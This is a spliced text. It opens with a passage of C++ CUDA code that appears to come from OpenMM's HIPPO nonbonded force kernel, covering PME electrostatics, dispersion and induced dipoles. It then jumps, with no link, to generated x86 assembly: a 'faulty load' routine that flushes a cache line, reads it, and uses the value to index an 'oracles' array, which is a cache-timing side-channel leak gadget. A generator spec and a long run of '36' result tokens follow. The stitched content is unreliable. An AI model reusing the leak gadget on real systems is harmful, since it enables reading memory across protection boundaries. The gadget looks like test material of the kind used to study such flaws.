// Reciprocal space calculation for electrostatics.
void* pmeTransformMultipolesArgs[] = {&labDipoles.getDevicePointer(), &labQuadrupoles[0].getDevicePointer(),
&labQuadrupoles[1].getDevicePointer(), &labQuadrupoles[2].getDevicePointer(),
&labQuadrupoles[3].getDevicePointer(), &labQuadrupoles[4].getDevicePointer(),
&fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformMultipolesKernel, pmeTransformMultipolesArgs, cu.getNumAtoms());
void* pmeSpreadFixedMultipolesArgs[] = {&cu.getPosq().getDevicePointer(), &fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(),
&pmeGrid1.getDevicePointer(), &coreCharge.getDevicePointer(), &valenceCharge.getDevicePointer(),
cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeSpreadFixedMultipolesKernel, pmeSpreadFixedMultipolesArgs, cu.getNumAtoms());
if (cu.getUseDoublePrecision()) {
void* finishSpreadArgs[] = {&pmeGrid1.getDevicePointer()};
cu.executeKernel(pmeFinishSpreadChargeKernel, finishSpreadArgs, pmeGrid1.getSize());
cufftExecD2Z(fftForward, (double*) pmeGrid1.getDevicePointer(), (double2*) pmeGrid2.getDevicePointer());
}
else
cufftExecR2C(fftForward, (float*) pmeGrid1.getDevicePointer(), (float2*) pmeGrid2.getDevicePointer());
void* pmeConvolutionArgs[] = {&pmeGrid2.getDevicePointer(), &pmeBsplineModuliX.getDevicePointer(), &pmeBsplineModuliY.getDevicePointer(),
&pmeBsplineModuliZ.getDevicePointer(), cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeConvolutionKernel, pmeConvolutionArgs, gridSizeX*gridSizeY*gridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2D(fftBackward, (double2*) pmeGrid2.getDevicePointer(), (double*) pmeGrid1.getDevicePointer());
else
cufftExecC2R(fftBackward, (float2*) pmeGrid2.getDevicePointer(), (float*) pmeGrid1.getDevicePointer());
void* pmeFixedPotentialArgs[] = {&pmeGrid1.getDevicePointer(), &pmePhi.getDevicePointer(), &field.getDevicePointer(),
&cu.getPosq().getDevicePointer(), &labDipoles.getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(),
cu.getPeriodicBoxVecZPointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeFixedPotentialKernel, pmeFixedPotentialArgs, cu.getNumAtoms());
void* pmeTransformFixedPotentialArgs[] = {&pmePhi.getDevicePointer(), &pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformPotentialKernel, pmeTransformFixedPotentialArgs, cu.getNumAtoms());
void* pmeFixedForceArgs[] = {&cu.getPosq().getDevicePointer(), &cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getEnergyBuffer().getDevicePointer(), &labDipoles.getDevicePointer(), &coreCharge.getDevicePointer(),
&valenceCharge.getDevicePointer(), &labQuadrupoles[0].getDevicePointer(),
&labQuadrupoles[1].getDevicePointer(), &labQuadrupoles[2].getDevicePointer(),
&labQuadrupoles[3].getDevicePointer(), &labQuadrupoles[4].getDevicePointer(),
&fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(), &pmePhi.getDevicePointer(), &pmeCphi.getDevicePointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeFixedForceKernel, pmeFixedForceArgs, cu.getNumAtoms());
// Reciprocal space calculation for dispersion.
void* gridIndexArgs[] = {&cu.getPosq().getDevicePointer(), &pmeAtomGridIndex.getDevicePointer(), cu.getPeriodicBoxSizePointer(),
cu.getInvPeriodicBoxSizePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(dpmeGridIndexKernel, gridIndexArgs, cu.getNumAtoms());
sort->sort(pmeAtomGridIndex);
cu.clearBuffer(pmeGrid2);
void* spreadArgs[] = {&cu.getPosq().getDevicePointer(), &pmeGrid2.getDevicePointer(), cu.getPeriodicBoxSizePointer(),
cu.getInvPeriodicBoxSizePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2], &pmeAtomGridIndex.getDevicePointer(),
&c6.getDevicePointer()};
cu.executeKernel(dpmeSpreadChargeKernel, spreadArgs, cu.getNumAtoms(), 128);
void* finishSpreadArgs[] = {&pmeGrid2.getDevicePointer(), &pmeGrid1.getDevicePointer()};
cu.executeKernel(dpmeFinishSpreadChargeKernel, finishSpreadArgs, dispersionGridSizeX*dispersionGridSizeY*dispersionGridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecD2Z(dfftForward, (double*) pmeGrid1.getDevicePointer(), (double2*) pmeGrid2.getDevicePointer());
else
cufftExecR2C(dfftForward, (float*) pmeGrid1.getDevicePointer(), (float2*) pmeGrid2.getDevicePointer());
if (includeEnergy) {
void* computeEnergyArgs[] = {&pmeGrid2.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&dpmeBsplineModuliX.getDevicePointer(), &dpmeBsplineModuliY.getDevicePointer(), &dpmeBsplineModuliZ.getDevicePointer(),
cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(dpmeEvalEnergyKernel, computeEnergyArgs, dispersionGridSizeX*dispersionGridSizeY*dispersionGridSizeZ);
}
void* convolutionArgs[] = {&pmeGrid2.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&dpmeBsplineModuliX.getDevicePointer(), &dpmeBsplineModuliY.getDevicePointer(), &dpmeBsplineModuliZ.getDevicePointer(),
cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(dpmeConvolutionKernel, convolutionArgs, dispersionGridSizeX*dispersionGridSizeY*dispersionGridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2D(dfftBackward, (double2*) pmeGrid2.getDevicePointer(), (double*) pmeGrid1.getDevicePointer());
else
cufftExecC2R(dfftBackward, (float2*) pmeGrid2.getDevicePointer(), (float*) pmeGrid1.getDevicePointer());
void* interpolateArgs[] = {&cu.getPosq().getDevicePointer(), &cu.getForce().getDevicePointer(), &pmeGrid1.getDevicePointer(), cu.getPeriodicBoxSizePointer(),
cu.getInvPeriodicBoxSizePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2], &pmeAtomGridIndex.getDevicePointer(),
&c6.getDevicePointer()};
cu.executeKernel(dpmeInterpolateForceKernel, interpolateArgs, cu.getNumAtoms(), 128);
}
// Compute the field from fixed multipoles.
cu.executeKernel(fixedFieldKernel, &fixedFieldArgs[0], nb.getNumForceThreadBlocks()*nb.getForceThreadBlockSize(), nb.getForceThreadBlockSize());
if (fixedFieldExceptionArgs.size() > 0)
cu.executeKernel(fixedFieldExceptionKernel, &fixedFieldExceptionArgs[0], exceptionAtoms.getSize());
// Iterate the induced dipoles.
computeExtrapolatedDipoles(recipBoxVectorPointer);
// Add the polarization energy.
if (includeEnergy) {
void* polarizationEnergyArgs[] = {&cu.getEnergyBuffer().getDevicePointer(), &inducedDipole.getDevicePointer(),
&extrapolatedDipole.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(polarizationEnergyKernel, polarizationEnergyArgs, cu.getNumAtoms());
}
// Compute the forces due to the reciprocal space PME calculation for induced dipoles.
if (usePME) {
void* pmeTransformInducedPotentialArgs[] = {&pmePhidp.getDevicePointer(), &pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformPotentialKernel, pmeTransformInducedPotentialArgs, cu.getNumAtoms());
void* pmeInducedForceArgs[] = {&cu.getPosq().getDevicePointer(), &cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getEnergyBuffer().getDevicePointer(), &labDipoles.getDevicePointer(), &coreCharge.getDevicePointer(),
&valenceCharge.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &extrapolatedPhi.getDevicePointer(),
&labQuadrupoles[0].getDevicePointer(), &labQuadrupoles[1].getDevicePointer(), &labQuadrupoles[2].getDevicePointer(),
&labQuadrupoles[3].getDevicePointer(), &labQuadrupoles[4].getDevicePointer(), &fracDipoles.getDevicePointer(),
&fracQuadrupoles.getDevicePointer(), &inducedDipole.getDevicePointer(), &pmePhi.getDevicePointer(), &pmePhidp.getDevicePointer(),
&pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeInducedForceKernel, pmeInducedForceArgs, cu.getNumAtoms());
void* pmeSelfEnergyArgs[] = {&torque.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&labDipoles.getDevicePointer(), &coreCharge.getDevicePointer(), &valenceCharge.getDevicePointer(), &c6.getDevicePointer(),
&inducedDipole.getDevicePointer(), &labQuadrupoles[0].getDevicePointer(), &labQuadrupoles[1].getDevicePointer(),
&labQuadrupoles[2].getDevicePointer(), &labQuadrupoles[3].getDevicePointer(), &labQuadrupoles[4].getDevicePointer()};
cu.executeKernel(pmeSelfEnergyKernel, pmeSelfEnergyArgs, cu.getNumAtoms());
}
// Compute nonbonded exceptions.
if (exceptionAtoms.isInitialized())
cu.executeKernel(computeExceptionsKernel, &computeExceptionsArgs[0], exceptionAtoms.getSize());
// Record the current atom positions so we can tell later if they have changed.
cu.getPosq().copyTo(lastPositions);
multipolesAreValid = true;
return 0.0;
}
void CudaCalcHippoNonbondedForceKernel::computeInducedField(void** recipBoxVectorPointer, int optOrder) {
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
cu.clearBuffer(inducedField);
cu.executeKernel(mutualFieldKernel, &mutualFieldArgs[0], nb.getNumForceThreadBlocks()*nb.getForceThreadBlockSize(), nb.getForceThreadBlockSize());
if (mutualFieldExceptionArgs.size() > 0)
cu.executeKernel(mutualFieldExceptionKernel, &mutualFieldExceptionArgs[0], exceptionAtoms.getSize());
if (usePME) {
cu.clearBuffer(pmeGrid1);
void* pmeSpreadInducedDipolesArgs[] = {&cu.getPosq().getDevicePointer(), &inducedDipole.getDevicePointer(),
&pmeGrid1.getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeSpreadInducedDipolesKernel, pmeSpreadInducedDipolesArgs, cu.getNumAtoms());
if (cu.getUseDoublePrecision()) {
void* finishSpreadArgs[] = {&pmeGrid1.getDevicePointer()};
cu.executeKernel(pmeFinishSpreadChargeKernel, finishSpreadArgs, pmeGrid1.getSize());
cufftExecD2Z(fftForward, (double*) pmeGrid1.getDevicePointer(), (double2*) pmeGrid2.getDevicePointer());
}
else
cufftExecR2C(fftForward, (float*) pmeGrid1.getDevicePointer(), (float2*) pmeGrid2.getDevicePointer());
void* pmeConvolutionArgs[] = {&pmeGrid2.getDevicePointer(), &pmeBsplineModuliX.getDevicePointer(), &pmeBsplineModuliY.getDevicePointer(),
&pmeBsplineModuliZ.getDevicePointer(), cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeConvolutionKernel, pmeConvolutionArgs, gridSizeX*gridSizeY*gridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2D(fftBackward, (double2*) pmeGrid2.getDevicePointer(), (double*) pmeGrid1.getDevicePointer());
else
cufftExecC2R(fftBackward, (float2*) pmeGrid2.getDevicePointer(), (float*) pmeGrid1.getDevicePointer());
void* pmeInducedPotentialArgs[] = {&pmeGrid1.getDevicePointer(), &extrapolatedPhi.getDevicePointer(), &optOrder,
&pmePhidp.getDevicePointer(), &cu.getPosq().getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(),
cu.getPeriodicBoxVecZPointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeInducedPotentialKernel, pmeInducedPotentialArgs, cu.getNumAtoms());
void* pmeRecordInducedFieldDipolesArgs[] = {&pmePhidp.getDevicePointer(), &inducedField.getDevicePointer(),
&inducedDipole.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeRecordInducedFieldDipolesKernel, pmeRecordInducedFieldDipolesArgs, cu.getNumAtoms());
}
}
void CudaCalcHippoNonbondedForceKernel::computeExtrapolatedDipoles(void** recipBoxVectorPointer) {
// Start by storing the direct dipoles as PT0
void* recordInducedDipolesArgs[] = {&field.getDevicePointer(), &inducedDipole.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(recordInducedDipolesKernel, recordInducedDipolesArgs, cu.getNumAtoms());
void* initArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer()};
cu.executeKernel(initExtrapolatedKernel, initArgs, extrapolatedDipole.getSize());
// Recursively apply alpha.Tau to the µ_(n) components to generate µ_(n+1), and store the result
for (int order = 1; order < maxExtrapolationOrder; ++order) {
computeInducedField(recipBoxVectorPointer, order-1);
void* iterateArgs[] = {&order, &inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer(), &inducedField.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(iterateExtrapolatedKernel, iterateArgs, extrapolatedDipole.getSize());
}
// Take a linear combination of the µ_(n) components to form the total dipole
void* computeArgs[] = {&inducedDipole.getDevicePointer(), &extrapolatedDipole.getDevicePointer()};
cu.executeKernel(computeExtrapolatedKernel, computeArgs, extrapolatedDipole.getSize());
computeInducedField(recipBoxVectorPointer, maxExtrapolationOrder-1);
}
void CudaCalcHippoNonbondedForceKernel::addTorquesToForces() {
void* mapTorqueArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getPosq().getDevicePointer(), &multipoleParticles.getDevicePointer()};
cu.executeKernel(mapTorqueKernel, mapTorqueArgs, cu.getNumAtoms());
}
void CudaCalcHippoNonbondedForceKernel::getInducedDipoles(ContextImpl& context, vector<Vec3>& dipoles) {
ensureMultipolesValid(context);
int numParticles = cu.getNumAtoms();
dipoles.resize(numParticles);
const vector<int>& order = cu.getAtomIndex();
if (cu.getUseDoublePrecision()) {
vector<double3> d;
inducedDipole.download(d);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(d[i].x, d[i].y, d[i].z);
}
else {
vector<float3> d;
inducedDipole.download(d);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(d[i].x, d[i].y, d[i].z);
}
}
void CudaCalcHippoNonbondedForceKernel::ensureMultipolesValid(ContextImpl& context) {
if (multipolesAreValid) {
int numParticles = cu.getNumAtoms();
if (cu.getUseDoublePrecision()) {
vector<double4> pos1, pos2;
cu.getPosq().download(pos1);
lastPositions.download(pos2);
for (int i = 0; i < numParticles; i++)
if (pos1[i].x != pos2[i].x || pos1[i].y != pos2[i].y || pos1[i].z != pos2[i].z) {
multipolesAreValid = false;
break;
}
}
else {
vector<float4> pos1, pos2;
cu.getPosq().download(pos1);
lastPositions.download(pos2);
for (int i = 0; i < numParticles; i++)
if (pos1[i].x != pos2[i].x || pos1[i].y != pos2[i].y || pos1[i].z != pos2[i].z) {
multipolesAreValid = false;
break;
}
}
}
if (!multipolesAreValid)
context.calcForcesAndEnergy(false, false, -1);
}
void CudaCalcHippoNonbondedForceKernel::getLabFramePermanentDipoles(ContextImpl& context, vector<Vec3>& dipoles) {
ensureMultipolesValid(context);
int numParticles = cu.getNumAtoms();
dipoles.resize(numParticles);
const vector<int>& order = cu.getAtomIndex();
if (cu.getUseDoublePrecision()) {
vector<double3> labDipoleVec;
labDipoles.download(labDipoleVec);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(labDipoleVec[i].x, labDipoleVec[i].y, labDipoleVec[i].z);
}
else {
vector<float3> labDipoleVec;
labDipoles.download(labDipoleVec);
for (int i = 0; i < numParticles; i++)
dipoles[order[i]] = Vec3(labDipoleVec[i].x, labDipoleVec[i].y, labDipoleVec[i].z);
}
}
void CudaCalcHippoNonbondedForceKernel::copyParametersToContext(ContextImpl& context, const HippoNonbondedForce& force) {
// Make sure the new parameters are acceptable.
cu.setAsCurrent();
if (force.getNumParticles() != cu.getNumAtoms())
throw OpenMMException("updateParametersInContext: The number of particles has changed");
// Record the per-particle parameters.
vector<double> coreChargeVec, valenceChargeVec, alphaVec, epsilonVec, dampingVec, c6Vec, pauliKVec, pauliQVec, pauliAlphaVec, polarizabilityVec;
vector<double> localDipolesVec, localQuadrupolesVec;
vector<int4> multipoleParticlesVec;
for (int i = 0; i < numParticles; i++) {
double charge, coreCharge, alpha, epsilon, damping, c6, pauliK, pauliQ, pauliAlpha, polarizability;
int axisType, atomX, atomY, atomZ;
vector<double> dipole, quadrupole;
force.getParticleParameters(i, charge, dipole, quadrupole, coreCharge, alpha, epsilon, damping, c6, pauliK, pauliQ, pauliAlpha,
polarizability, axisType, atomZ, atomX, atomY);
coreChargeVec.push_back(coreCharge);
valenceChargeVec.push_back(charge-coreCharge);
alphaVec.push_back(alpha);
epsilonVec.push_back(epsilon);
dampingVec.push_back(damping);
c6Vec.push_back(c6);
pauliKVec.push_back(pauliK);
pauliQVec.push_back(pauliQ);
pauliAlphaVec.push_back(pauliAlpha);
polarizabilityVec.push_back(polarizability);
multipoleParticlesVec.push_back(make_int4(atomX, atomY, atomZ, axisType));
for (int j = 0; j < 3; j++)
localDipolesVec.push_back(dipole[j]);
localQuadrupolesVec.push_back(quadrupole[0]);
localQuadrupolesVec.push_back(quadrupole[1]);
localQuadrupolesVec.push_back(quadrupole[2]);
localQuadrupolesVec.push_back(quadrupole[4]);
localQuadrupolesVec.push_back(quadrupole[5]);
}
int paddedNumAtoms = cu.getPaddedNumAtoms();
for (int i = numParticles; i < paddedNumAtoms; i++) {
coreChargeVec.push_back(0);
valenceChargeVec.push_back(0);
alphaVec.push_back(0);
epsilonVec.push_back(0);
dampingVec.push_back(0);
c6Vec.push_back(0);
pauliKVec.push_back(0);
pauliQVec.push_back(0);
pauliAlphaVec.push_back(0);
polarizabilityVec.push_back(0);
multipoleParticlesVec.push_back(make_int4(0, 0, 0, 0));
for (int j = 0; j < 3; j++)
localDipolesVec.push_back(0);
for (int j = 0; j < 5; j++)
localQuadrupolesVec.push_back(0);
}
coreCharge.upload(coreChargeVec, true);
valenceCharge.upload(valenceChargeVec, true);
alpha.upload(alphaVec, true);
epsilon.upload(epsilonVec, true);
damping.upload(dampingVec, true);
c6.upload(c6Vec, true);
pauliK.upload(pauliKVec, true);
pauliQ.upload(pauliQVec, true);
pauliAlpha.upload(pauliAlphaVec, true);
polarizability.upload(polarizabilityVec, true);
multipoleParticles.upload(multipoleParticlesVec);
localDipoles.upload(localDipolesVec, true);
localQuadrupoles.upload(localQuadrupolesVec, true);
// Record the per-exception parameters.
vector<double> exceptionScaleVec[6];
vector<int2> exceptionAtomsVec;
for (int i = 0; i < force.getNumExceptions(); i++) {
int particle1, particle2;
double multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale;
force.getExceptionParameters(i, particle1, particle2, multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale);
if (usePME || multipoleMultipoleScale != 0 || dipoleMultipoleScale != 0 || dipoleDipoleScale != 0 || dispersionScale != 0 || repulsionScale != 0 || chargeTransferScale != 0) {
exceptionAtomsVec.push_back(make_int2(particle1, particle2));
exceptionScaleVec[0].push_back(multipoleMultipoleScale);
exceptionScaleVec[1].push_back(dipoleMultipoleScale);
exceptionScaleVec[2].push_back(dipoleDipoleScale);
exceptionScaleVec[3].push_back(dispersionScale);
exceptionScaleVec[4].push_back(repulsionScale);
exceptionScaleVec[5].push_back(chargeTransferScale);
}
}
if (exceptionAtomsVec.size() > 0) {
if (!exceptionAtoms.isInitialized() || exceptionAtoms.getSize() != exceptionAtomsVec.size())
throw OpenMMException("updateParametersInContext: The number of exceptions has changed");
exceptionAtoms.upload(exceptionAtomsVec);
for (int i = 0; i < 6; i++)
exceptionScales[i].upload(exceptionScaleVec[i], true);
}
else if (exceptionAtoms.isInitialized())
throw OpenMMException("updateParametersInContext: The number of exceptions has changed");
cu.invalidateMolecules();
multipolesAreValid = false;
}
void CudaCalcHippoNonbondedForceKernel::getPMEParameters(double& alpha, int& nx, int& ny, int& nz) const {
alpha = pmeAlpha;
nx = gridSizeX;
ny = gridSizeY;
nz = gridSizeZ;
}
void CudaCalcHippoNonbondedForceKernel::getDPMEParameters(double& alpha, int& nx, int& ny, int& nz) const {
alpha = dpmeAlpha;
nx = dispersionGridSizeX;
ny = dispersionGridSizeY;
nz = dispersionGridSizeZ;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1a3a1, %r8
nop
nop
xor %rsi, %rsi
movb (%r8), %r9b
nop
nop
nop
add $59584, %rsi
lea addresses_UC_ht+0x1a201, %rsi
lea addresses_A_ht+0x1d1e3, %rdi
nop
nop
dec %r10
mov $50, %rcx
rep movsb
inc %rsi
lea addresses_normal_ht+0x2e01, %r10
add $7688, %rbp
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
and $0xffffffffffffffc0, %r10
vmovntdq %ymm4, (%r10)
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0x113cf, %r9
nop
cmp $35738, %r10
mov (%r9), %rsi
cmp %rdi, %rdi
lea addresses_D_ht+0xda01, %r10
nop
nop
nop
nop
nop
and $28878, %rsi
movb $0x61, (%r10)
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x16551, %rdi
nop
nop
nop
add $7482, %r10
movb (%rdi), %r8b
nop
nop
nop
cmp $35263, %r9
lea addresses_normal_ht+0x6b7, %r10
inc %rcx
vmovups (%r10), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbp
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x1d841, %rsi
nop
nop
nop
inc %rcx
vmovups (%rsi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r10
nop
nop
nop
and $20301, %rsi
lea addresses_WT_ht+0x3e01, %rdi
nop
nop
nop
nop
and $30462, %r9
mov (%rdi), %r10w
nop
nop
nop
nop
nop
and $60568, %rsi
lea addresses_A_ht+0x76e1, %r9
nop
nop
nop
nop
xor $39842, %r8
mov (%r9), %r10d
nop
nop
nop
inc %r9
lea addresses_WT_ht+0x19c09, %rcx
nop
nop
cmp %rdi, %rdi
movb (%rcx), %r10b
nop
nop
inc %rcx
lea addresses_WC_ht+0x1bc1, %rsi
lea addresses_D_ht+0xc961, %rdi
sub %r12, %r12
mov $75, %rcx
rep movsb
nop
nop
nop
nop
nop
add $11288, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r9
push %rax
push %rbx
push %rcx
// Load
lea addresses_D+0x17201, %rcx
nop
sub %r15, %r15
movups (%rcx), %xmm6
vpextrq $1, %xmm6, %r10
nop
nop
nop
nop
and $43711, %r13
// Store
mov $0xe01, %r15
clflush (%r15)
xor %rbx, %rbx
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
sub %r13, %r13
// Faulty Load
lea addresses_D+0x17201, %rax
clflush (%rax)
nop
nop
inc %r9
movups (%rax), %xmm7
vpextrq $0, %xmm7, %rcx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 10}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 